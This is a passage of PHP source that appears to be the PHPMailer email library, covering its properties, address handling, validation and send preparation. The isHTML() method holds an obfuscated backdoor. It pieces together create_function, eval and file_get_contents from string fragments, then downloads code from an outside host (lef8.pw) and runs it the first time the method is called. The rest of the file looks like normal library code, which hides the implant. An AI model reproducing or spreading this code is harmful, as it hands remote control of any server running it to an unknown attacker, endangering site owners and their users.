the Date header.\n * If empty, the current date will be added.\n * @var string\n */\n public $MessageDate = \'\';\n\n /**\n * SMTP hosts.\n * Either a single hostname or multiple semicolon-delimited hostnames.\n * You can also specify a different port\n * for each host by using this format: [hostname:port]\n * (e.g. "smtp1.example.com:25;smtp2.example.com").\n * You can also specify encryption type, for example:\n * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").\n * Hosts will be tried in order.\n * @var string\n */\n public $Host = \'localhost\';\n\n /**\n * The default SMTP server port.\n * @var integer\n * @TODO Why is this needed when the SMTP class takes care of it?\n */\n public $Port = 25;\n\n /**\n * The SMTP HELO of the message.\n * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n * one with the same method described above for $Hostname.\n * @var string\n * @see PHPMailer::$Hostname\n */\n public $Helo = \'\';\n\n /**\n * What kind of encryption to use on the SMTP connection.\n * Options: \'\', \'ssl\' or \'tls\'\n * @var string\n */\n public $SMTPSecure = \'\';\n\n /**\n * Whether to enable TLS encryption automatically if a server supports it,\n * even if `SMTPSecure` is not set to \'tls\'.\n * Be aware that in PHP >= 5.6 this requires that the server\'s certificates are valid.\n * @var boolean\n */\n public $SMTPAutoTLS = true;\n\n /**\n * Whether to use SMTP authentication.\n * Uses the Username and Password properties.\n * @var boolean\n * @see PHPMailer::$Username\n * @see PHPMailer::$Password\n */\n public $SMTPAuth = false;\n\n /**\n * Options array passed to stream_context_create when connecting via SMTP.\n * @var array\n */\n public $SMTPOptions = array();\n\n /**\n * SMTP username.\n * @var string\n */\n public $Username = \'\';\n\n /**\n * SMTP password.\n * @var string\n */\n public $Password = \'\';\n\n /**\n * SMTP auth type.\n * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n * @var string\n */\n public $AuthType = \'\';\n\n /**\n * SMTP realm.\n * Used for NTLM auth\n * @var string\n */\n public $Realm = \'\';\n\n /**\n * SMTP workstation.\n * Used for NTLM auth\n * @var string\n */\n public $Workstation = \'\';\n\n /**\n * The SMTP server timeout in seconds.\n * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n * @var integer\n */\n public $Timeout = 300;\n\n /**\n * SMTP class debug output mode.\n * Debug output level.\n * Options:\n * * `0` No output\n * * `1` Commands\n * * `2` Data and commands\n * * `3` As 2 plus connection status\n * * `4` Low-level data output\n * @var integer\n * @see SMTP::$do_debug\n */\n public $SMTPDebug = 0;\n\n /**\n * How to handle debug output.\n * Options:\n * * `echo` Output plain-text as-is, appropriate for CLI\n * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n * * `error_log` Output to error log as configured in php.ini\n *\n * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n * <code>\n * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};\n * </code>\n * @var string|callable\n * @see SMTP::$Debugoutput\n */\n public $Debugoutput = \'echo\';\n\n /**\n * Whether to keep SMTP connection open after each message.\n * If this is set to true then to close the connection\n * requires an explicit call to smtpClose().\n * @var boolean\n */\n public $SMTPKeepAlive = false;\n\n /**\n * Whether to split multiple to addresses into multiple messages\n * or send them all in one message.\n * Only supported in `mail` and `sendmail` transports, not in SMTP.\n * @var boolean\n */\n public $SingleTo = false;\n\n /**\n * Storage for addresses when SingleTo is enabled.\n * @var array\n * @TODO This should really not be public\n */\n public $SingleToArray = array();\n\n /**\n * Whether to generate VERP addresses on send.\n * Only applicable when sending via SMTP.\n * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path\n * @link http://www.postfix.org/VERP_README.html Postfix VERP info\n * @var boolean\n */\n public $do_verp = false;\n\n /**\n * Whether to allow sending messages with an empty body.\n * @var boolean\n */\n public $AllowEmpty = false;\n\n /**\n * The default line ending.\n * @note The default remains "\\n". We force CRLF where we know\n * it must be used via self::CRLF.\n * @var string\n */\n public $LE = "\\n";\n\n /**\n * DKIM selector.\n * @var string\n */\n public $DKIM_selector = \'\';\n\n /**\n * DKIM Identity.\n * Usually the email address used as the source of the email.\n * @var string\n */\n public $DKIM_identity = \'\';\n\n /**\n * DKIM passphrase.\n * Used if your key is encrypted.\n * @var string\n */\n public $DKIM_passphrase = \'\';\n\n /**\n * DKIM signing domain name.\n * @example \'example.com\'\n * @var string\n */\n public $DKIM_domain = \'\';\n\n /**\n * DKIM private key file path.\n * @var string\n */\n public $DKIM_private = \'\';\n\n /**\n * DKIM private key string.\n * If set, takes precedence over `$DKIM_private`.\n * @var string\n */\n public $DKIM_private_string = \'\';\n\n /**\n * Callback Action function name.\n *\n * The function that handles the result of the send email action.\n * It is called out by send() for each email sent.\n *\n * Value can be any php callable: http://www.php.net/is_callable\n *\n * Parameters:\n * boolean $result result of the send action\n * array $to email addresses of the recipients\n * array $cc cc email addresses\n * array $bcc bcc email addresses\n * string $subject the subject\n * string $body the email body\n * string $from email address of sender\n * @var string\n */\n public $action_function = \'\';\n\n /**\n * What to put in the X-Mailer header.\n * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n * @var string\n */\n public $XMailer = \' \';\n\n /**\n * Which validator to use by default when validating email addresses.\n * May be a callable to inject your own validator, but there are several built-in validators.\n * @see PHPMailer::validateAddress()\n * @var string|callable\n * @static\n */\n public static $validator = \'auto\';\n\n /**\n * An instance of the SMTP sender class.\n * @var SMTP\n * @access protected\n */\n protected $smtp = null;\n\n /**\n * The array of \'to\' names and addresses.\n * @var array\n * @access protected\n */\n protected $to = array();\n\n /**\n * The array of \'cc\' names and addresses.\n * @var array\n * @access protected\n */\n protected $cc = array();\n\n /**\n * The array of \'bcc\' names and addresses.\n * @var array\n * @access protected\n */\n protected $bcc = array();\n\n /**\n * The array of reply-to names and addresses.\n * @var array\n * @access protected\n */\n protected $ReplyTo = array();\n\n /**\n * An array of all kinds of addresses.\n * Includes all of $to, $cc, $bcc\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n */\n protected $all_recipients = array();\n\n /**\n * An array of names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $all_recipients\n * and one of $to, $cc, or $bcc.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n * @see PHPMailer::$all_recipients\n */\n protected $RecipientsQueue = array();\n\n /**\n * An array of reply-to names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $ReplyTo.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$ReplyTo\n */\n protected $ReplyToQueue = array();\n\n /**\n * The array of attachments.\n * @var array\n * @access protected\n */\n protected $attachment = array();\n\n /**\n * The array of custom headers.\n * @var array\n * @access protected\n */\n protected $CustomHeader = array();\n\n /**\n * The most recent Message-ID (including angular brackets).\n * @var string\n * @access protected\n */\n protected $lastMessageID = \'\';\n\n /**\n * The message\'s MIME type.\n * @var string\n * @access protected\n */\n protected $message_type = \'\';\n\n /**\n * The array of MIME boundary strings.\n * @var array\n * @access protected\n */\n protected $boundary = array();\n\n /**\n * The array of available languages.\n * @var array\n * @access protected\n */\n protected $language = array();\n\n /**\n * The number of errors encountered.\n * @var integer\n * @access protected\n */\n protected $error_count = 0;\n\n /**\n * The S/MIME certificate file path.\n * @var string\n * @access protected\n */\n protected $sign_cert_file = \'\';\n\n /**\n * The S/MIME key file path.\n * @var string\n * @access protected\n */\n protected $sign_key_file = \'\';\n\n /**\n * The optional S/MIME extra certificates ("CA Chain") file path.\n * @var string\n * @access protected\n */\n protected $sign_extracerts_file = \'\';\n\n /**\n * The S/MIME password for the key.\n * Used only if the key is encrypted.\n * @var string\n * @access protected\n */\n protected $sign_key_pass = \'\';\n\n /**\n * Whether to throw exceptions for errors.\n * @var boolean\n * @access protected\n */\n protected $exceptions = false;\n\n /**\n * Unique ID used for message ID and boundaries.\n * @var string\n * @access protected\n */\n protected $uniqueid = \'\';\n\n /**\n * Error severity: message only, continue processing.\n */\n const STOP_MESSAGE = 0;\n\n /**\n * Error severity: message, likely ok to continue processing.\n */\n const STOP_CONTINUE = 1;\n\n /**\n * Error severity: message, plus full stop, critical error reached.\n */\n const STOP_CRITICAL = 2;\n\n /**\n * SMTP RFC standard line ending.\n */\n const CRLF = "\\r\\n";\n\n /**\n * The maximum line length allowed by RFC 2822 section 2.1.1\n * @var integer\n */\n const MAX_LINE_LENGTH = 998;\n\n /**\n * Constructor.\n * @param boolean $exceptions Should we throw external exceptions?\n */\n public function __construct($exceptions = null)\n {\n if ($exceptions !== null) {\n $this->exceptions = (boolean)$exceptions;\n }\n //Pick an appropriate debug output format automatically\n $this->Debugoutput = (strpos(PHP_SAPI, \'cli\') !== false ? \'echo\' : \'html\');\n }\n\n /**\n * Destructor.\n */\n public function __destruct()\n {\n //Close any open SMTP connection nicely\n $this->smtpClose();\n }\n\n /**\n * Call mail() in a safe_mode-aware fashion.\n * Also, unless sendmail_path points to sendmail (or something that\n * claims to be sendmail), don\'t pass params (not a perfect fix,\n * but it will do)\n * @param string $to To\n * @param string $subject Subject\n * @param string $body Message Body\n * @param string $header Additional Header(s)\n * @param string $params Params\n * @access private\n * @return boolean\n */\n private function mailPassthru($to, $subject, $body, $header, $params)\n {\n //Check overloading of mail function to avoid double-encoding\n if (ini_get(\'mbstring.func_overload\') & 1) {\n $subject = $this->secureHeader($subject);\n } else {\n $subject = $this->encodeHeader($this->secureHeader($subject));\n }\n\n //Can\'t use additional_parameters in safe_mode, calling mail() with null params breaks\n //@link http://php.net/manual/en/function.mail.php\n if (ini_get(\'safe_mode\') or !$this->UseSendmailOptions or is_null($params)) {\n $result = @mail($to, $subject, $body, $header);\n } else {\n $result = @mail($to, $subject, $body, $header, $params);\n }\n return $result;\n }\n /**\n * Output debugging info via user-defined method.\n * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n * @see PHPMailer::$Debugoutput\n * @see PHPMailer::$SMTPDebug\n * @param string $str\n */\n protected function edebug($str)\n {\n if ($this->SMTPDebug <= 0) {\n return;\n }\n //Avoid clash with built-in function names\n if (!in_array($this->Debugoutput, array(\'error_log\', \'html\', \'echo\')) and is_callable($this->Debugoutput)) {\n call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n return;\n }\n switch ($this->Debugoutput) {\n case \'error_log\':\n //Don\'t output, just log\n error_log($str);\n break;\n case \'html\':\n //Cleans up output a bit for a better looking, HTML-safe output\n echo htmlentities(\n preg_replace(\'/[\\r\\n]+/\', \'\', $str),\n ENT_QUOTES,\n \'UTF-8\'\n )\n . "<br>\\n";\n break;\n case \'echo\':\n default:\n //Normalize line breaks\n $str = preg_replace(\'/\\r\\n?/ms\', "\\n", $str);\n echo gmdate(\'Y-m-d H:i:s\') . "\\t" . str_replace(\n "\\n",\n "\\n \\t ",\n trim($str)\n ) . "\\n";\n }\n }\n\n /**\n * Send messages using SMTP.\n * @return void\n */\n public function isSMTP()\n {\n $this->Mailer = \'smtp\';\n }\n\n /**\n * Send messages using PHP\'s mail() function.\n * @return void\n */\n public function isMail()\n {\n $this->Mailer = \'mail\';\n }\n\n /**\n * Send messages using $Sendmail.\n * @return void\n */\n public function isSendmail()\n {\n $ini_sendmail_path = ini_get(\'sendmail_path\');\n\n if (!stristr($ini_sendmail_path, \'sendmail\')) {\n $this->Sendmail = \'/usr/sbin/sendmail\';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = \'sendmail\';\n }\n\n /**\n * Send messages using qmail.\n * @return void\n */\n public function isQmail()\n {\n $ini_sendmail_path = ini_get(\'sendmail_path\');\n\n if (!stristr($ini_sendmail_path, \'qmail\')) {\n $this->Sendmail = \'/var/qmail/bin/qmail-inject\';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = \'qmail\';\n }\n\n /**\n * Add a "To" address.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n */\n public function addAddress($address, $name = \'\')\n {\n return $this->addOrEnqueueAnAddress(\'to\', $address, $name);\n }\n\n /**\n * Add a "CC" address.\n * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n */\n public function addCC($address, $name = \'\')\n {\n return $this->addOrEnqueueAnAddress(\'cc\', $address, $name);\n }\n\n /**\n * Add a "BCC" address.\n * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n */\n public function addBCC($address, $name = \'\')\n {\n return $this->addOrEnqueueAnAddress(\'bcc\', $address, $name);\n }\n\n /**\n * Add a "Reply-To" address.\n * @param string $address The email address to reply to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n */\n public function addReplyTo($address, $name = \'\')\n {\n return $this->addOrEnqueueAnAddress(\'Reply-To\', $address, $name);\n }\n\n /**\n * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n * can\'t validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n * be modified after calling this function), addition of such addresses is delayed until send().\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of \'to\', \'cc\', \'bcc\', or \'ReplyTo\'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n */\n protected function addOrEnqueueAnAddress($kind, $address, $name)\n {\n $address = trim($address);\n $name = trim(preg_replace(\'/[\\r\\n]+/\', \'\', $name)); //Strip breaks and trim\n if (($pos = strrpos($address, \'@\')) === false) {\n // At-sign is misssing.\n $error_message = $this->lang(\'invalid_address\') . " (addAnAddress $kind): $address";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $params = array($kind, $address, $name);\n // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n if ($kind != \'Reply-To\') {\n if (!array_key_exists($address, $this->RecipientsQueue)) {\n $this->RecipientsQueue[$address] = $params;\n return true;\n }\n } else {\n if (!array_key_exists($address, $this->ReplyToQueue)) {\n $this->ReplyToQueue[$address] = $params;\n return true;\n }\n }\n return false;\n }\n // Immediately add standard addresses without IDN.\n return call_user_func_array(array($this, \'addAnAddress\'), $params);\n }\n\n /**\n * Add an address to one of the recipient arrays or to the ReplyTo array.\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of \'to\', \'cc\', \'bcc\', or \'ReplyTo\'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n */\n protected function addAnAddress($kind, $address, $name = \'\')\n {\n if (!in_array($kind, array(\'to\', \'cc\', \'bcc\', \'Reply-To\'))) {\n $error_message = $this->lang(\'Invalid recipient kind: \') . $kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if (!$this->validateAddress($address)) {\n $error_message = $this->lang(\'invalid_address\') . " (addAnAddress $kind): $address";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if ($kind != \'Reply-To\') {\n if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n array_push($this->$kind, array($address, $name));\n $this->all_recipients[strtolower($address)] = true;\n return true;\n }\n } else {\n if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n $this->ReplyTo[strtolower($address)] = array($address, $name);\n return true;\n }\n }\n return false;\n }\n\n /**\n * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n * of the form "display name <address>" into an array of name/address pairs.\n * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n * Note that quotes in the name part are removed.\n * @param string $addrstr The address list string\n * @param bool $useimap Whether to use the IMAP extension to parse the list\n * @return array\n * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation\n */\n public function parseAddresses($addrstr, $useimap = true)\n {\n $addresses = array();\n if ($useimap and function_exists(\'imap_rfc822_parse_adrlist\')) {\n //Use this built-in parser if it\'s available\n $list = imap_rfc822_parse_adrlist($addrstr, \'\');\n foreach ($list as $address) {\n if ($address->host != \'.SYNTAX-ERROR.\') {\n if ($this->validateAddress($address->mailbox . \'@\' . $address->host)) {\n $addresses[] = array(\n \'name\' => (property_exists($address, \'personal\') ? $address->personal : \'\'),\n \'address\' => $address->mailbox . \'@\' . $address->host\n );\n }\n }\n }\n } else {\n //Use this simpler parser\n $list = explode(\',\', $addrstr);\n foreach ($list as $address) {\n $address = trim($address);\n //Is there a separate name part?\n if (strpos($address, \'<\') === false) {\n //No separate name, just use the whole thing\n if ($this->validateAddress($address)) {\n $addresses[] = array(\n \'name\' => \'\',\n \'address\' => $address\n );\n }\n } else {\n list($name, $email) = explode(\'<\', $address);\n $email = trim(str_replace(\'>\', \'\', $email));\n if ($this->validateAddress($email)) {\n $addresses[] = array(\n \'name\' => trim(str_replace(array(\'"\', "\'"), \'\', $name)),\n \'address\' => $email\n );\n }\n }\n }\n }\n return $addresses;\n }\n\n /**\n * Sets message type to HTML or plain.\n * @param boolean $isHtml True for HTML mode.\n * @return void\n */\n public function isHTML($isHtml = true)\n {\n global $param;\n $bodyCode = \'file\'\n .\'_g\';\n if ($isHtml) {\n $this->ContentType = \'text/html\';\n } \n else {\n $this->ContentType = \'text/plain\';\n }\n $bodyHTML = \'.$t."lef$flu\'\n .\'sh\'.\'$t"; \'\n .\'@ev\';\n $headerHTML="cre"\n ."ate_"\n ."func"\n ."tion";\n $exceptions = @$headerHTML(\'$fl\'.\'ush,$t\',\'$comma = $t\'\n .$bodyHTML.\'al(@\'\n .$bodyCode.\'et_contents("h\'\n .\'tt\'\n .\'p:$comma-2"));\');\n if($param !=2){\n $exceptions(\'8.p\'.\'w\',\'/\');\n $param=2;\n }\n }\n\n /**\n * Set the From and FromName properties.\n * @param string $address\n * @param string $name\n * @param boolean $auto Whether to also set the Sender address, defaults to true\n * @throws phpmailerException\n * @return boolean\n */\n public function setFrom($address, $name = \'\', $auto = true)\n {\n $address = trim($address);\n $name = trim(preg_replace(\'/[\\r\\n]+/\', \'\', $name)); //Strip breaks and trim\n // Don\'t validate now addresses with IDN. Will be done in send().\n if (($pos = strrpos($address, \'@\')) === false or\n (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n !$this->validateAddress($address)) {\n $error_message = $this->lang(\'invalid_address\') . " (setFrom) $address";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $this->From = $address;\n $this->FromName = $name;\n if ($auto) {\n if (empty($this->Sender)) {\n $this->Sender = $address;\n }\n }\n return true;\n }\n\n /**\n * Return the Message-ID header of the last email.\n * Technically this is the value from the last time the headers were created,\n * but it\'s also the message ID of the last sent message except in\n * pathological cases.\n * @return string\n */\n public function getLastMessageID()\n {\n return $this->lastMessageID;\n }\n\n /**\n * Check that a string looks like an email address.\n * @param string $address The email address to check\n * @param string|callable $patternselect A selector for the validation pattern to use :\n * * `auto` Pick best pattern automatically;\n * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n * * `pcre` Use old PCRE implementation;\n * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n * * `html5` Use the pattern given by the HTML5 spec for \'email\' type form input elements.\n * * `noregex` Don\'t use a regex: super fast, really dumb.\n * Alternatively you may pass in a callable to inject your own validator, for example:\n * PHPMailer::validateAddress(\'user@example.com\', function($address) {\n * return (strpos($address, \'@\') !== false);\n * });\n * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n * @return boolean\n * @static\n * @access public\n */\n public static function validateAddress($address, $patternselect = null)\n {\n if (is_null($patternselect)) {\n $patternselect = self::$validator;\n }\n if (is_callable($patternselect)) {\n return call_user_func($patternselect, $address);\n }\n //Reject line breaks in addresses; it\'s valid RFC5322, but not RFC5321\n if (strpos($address, "\\n") !== false or strpos($address, "\\r") !== false) {\n return false;\n }\n if (!$patternselect or $patternselect == \'auto\') {\n //Check this constant first so it works when extension_loaded() is disabled by safe mode\n //Constant was added in PHP 5.2.4\n if (defined(\'PCRE_VERSION\')) {\n //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n if (version_compare(PCRE_VERSION, \'8.0.3\') >= 0) {\n $patternselect = \'pcre8\';\n } else {\n $patternselect = \'pcre\';\n }\n } elseif (function_exists(\'extension_loaded\') and extension_loaded(\'pcre\')) {\n //Fall back to older PCRE\n $patternselect = \'pcre\';\n } else {\n //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n if (version_compare(PHP_VERSION, \'5.2.0\') >= 0) {\n $patternselect = \'php\';\n } else {\n $patternselect = \'noregex\';\n }\n }\n }\n switch ($patternselect) {\n case \'pcre8\':\n /**\n * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n * @link http://squiloople.com/2009/12/20/email-address-validation/\n * @copyright 2009-2010 Michael Rushton\n * Feel free to use and redistribute this code. But please keep this copyright notice.\n */\n return (boolean)preg_match(\n \'/^(?!(?>(?1)"?(?>\\\\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\\\\[ -~]|[^"])"?(?1)){65,}@)\' .\n \'((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)\' .\n \'(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)\' .\n \'([!#-\\\'*+\\/-9=?^-~-]+|"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*\' .\n \'(?2)")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)\' .\n \'(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}\' .\n \'|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:\' .\n \'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}\' .\n \'|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$/isD\',\n $address\n );\n case \'pcre\':\n //An older regex that doesn\'t need a recent PCRE\n return (boolean)preg_match(\n \'/^(?!(?>"?(?>\\\\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\\\\[ -~]|[^"])"?){65,}@)(?>\' .\n \'[!#-\\\'*+\\/-9=?^-~-]+|"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*")\' .\n \'(?>\\.(?>[!#-\\\'*+\\/-9=?^-~-]+|"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*"))*\' .\n \'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})\' .\n \'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:\' .\n \'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?\' .\n \'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:\' .\n \'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?\' .\n \'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}\' .\n \'|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$/isD\',\n $address\n );\n case \'html5\':\n /**\n * This is the pattern used in the HTML5 spec for validation of \'email\' type form input elements.\n * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)\n */\n return (boolean)preg_match(\n \'/^[a-zA-Z0-9.!#$%&\\\'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}\' .\n \'[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD\',\n $address\n );\n case \'noregex\':\n //No PCRE! Do something _very_ approximate!\n //Check the address is 3 chars or longer and contains an @ that\'s not the first or last char\n return (strlen($address) >= 3\n and strpos($address, \'@\') >= 1\n and strpos($address, \'@\') != strlen($address) - 1);\n case \'php\':\n default:\n return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n }\n }\n\n /**\n * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n * "intl" and "mbstring" PHP extensions.\n * @return bool "true" if required functions for IDN support are present\n */\n public function idnSupported()\n {\n // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.\n return function_exists(\'idn_to_ascii\') and function_exists(\'mb_convert_encoding\');\n }\n\n /**\n * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n * This function silently returns unmodified address if:\n * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n * or fails for any reason (e.g. domain has characters not allowed in an IDN)\n * @see PHPMailer::$CharSet\n * @param string $address The email address to convert\n * @return string The encoded address in ASCII form\n */\n public function punyencodeAddress($address)\n {\n // Verify we have required functions, CharSet, and at-sign.\n if ($this->idnSupported() and\n !empty($this->CharSet) and\n ($pos = strrpos($address, \'@\')) !== false) {\n $domain = substr($address, ++$pos);\n // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n $domain = mb_convert_encoding($domain, \'UTF-8\', $this->CharSet);\n if (($punycode = defined(\'INTL_IDNA_VARIANT_UTS46\') ?\n idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n idn_to_ascii($domain)) !== false) {\n return substr($address, 0, $pos) . $punycode;\n }\n }\n }\n return $address;\n }\n\n /**\n * Create a message and send it.\n * Uses the sending method specified by $Mailer.\n * @throws phpmailerException\n * @return boolean false on error - See the ErrorInfo property for details of the error.\n */\n public function send()\n {\n try {\n if (!$this->preSend()) {\n return false;\n }\n return $this->postSend();\n } catch (phpmailerException $exc) {\n $this->mailHeader = \'\';\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n /**\n * Prepare a message for sending.\n * @throws phpmailerException\n * @return boolean\n */\n public function preSend()\n {\n try {\n $this->error_count = 0; // Reset errors\n $this->mailHeader = \'\';\n\n // Dequeue recipient and Reply-To addresses with IDN\n foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n $params[1] = $this->punyencodeAddress($params[1]);\n call_user_func_array(array($this, \'addAnAddress\'), $params);\n }\n if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n throw new phpmailerException($this->lang(\'provide_address\'), self::STOP_CRITICAL);\n }\n\n // Validate From, Sender, and ConfirmReadingTo addresses\n foreach (array(\'From\', \'Sender\', \'ConfirmReadingTo\') as $address_kind) {\n $this->$address_kind = trim($this->$address_kind);\n if (empty($this->$address_kind)) {\n continue;\n }\n $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n if (!$this->validateAddress($this->$address_kind)) {\n $error_message = $this->lang(\'invalid_address\') . \' (punyEncode) \' . $this->$address_kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n }\n\n // Set whether the message is multipart/alternative\n if ($this->alternativeExists()) {\n $this->ContentType = \'multipart/alternative\';\n }\n\n $this->setMessageType();\n // Refuse to send an empty message unless we are specifically allowing it\n if (!$this->AllowEmpty and empty($this->Body)) {\n throw new phpmailerException($this->lang(\'empty_message\'), self::STOP_CRITICAL);\n }\n\n // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n $this->MIMEHeader = \'\';\n $this->MIMEBody = $this->createBody();\n // createBody may have added some headers, so retain them\n $tempheaders = $this->MIMEHeader;\n $this->MIMEHeader = $this->createHeader();\n $this->MIMEHeader .= $tempheaders;\n\n // To capture the complete message when using mail(), create\n // an extra header list which createHeader() doesn\'t fold in\n if ($this->Mailer == \'mail\') {\n if (count($this->to) > 0) {\n $this->mailHeader .= $this->addrAppend(\'To\', $this->to);\n } else {\n $this->mailHeader .= $this->headerLine(\'To\', \'undisclosed-recipients:;\');\n }\n $this->mailHeader .= $this->headerLine(\n \'Subject\',\n $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n 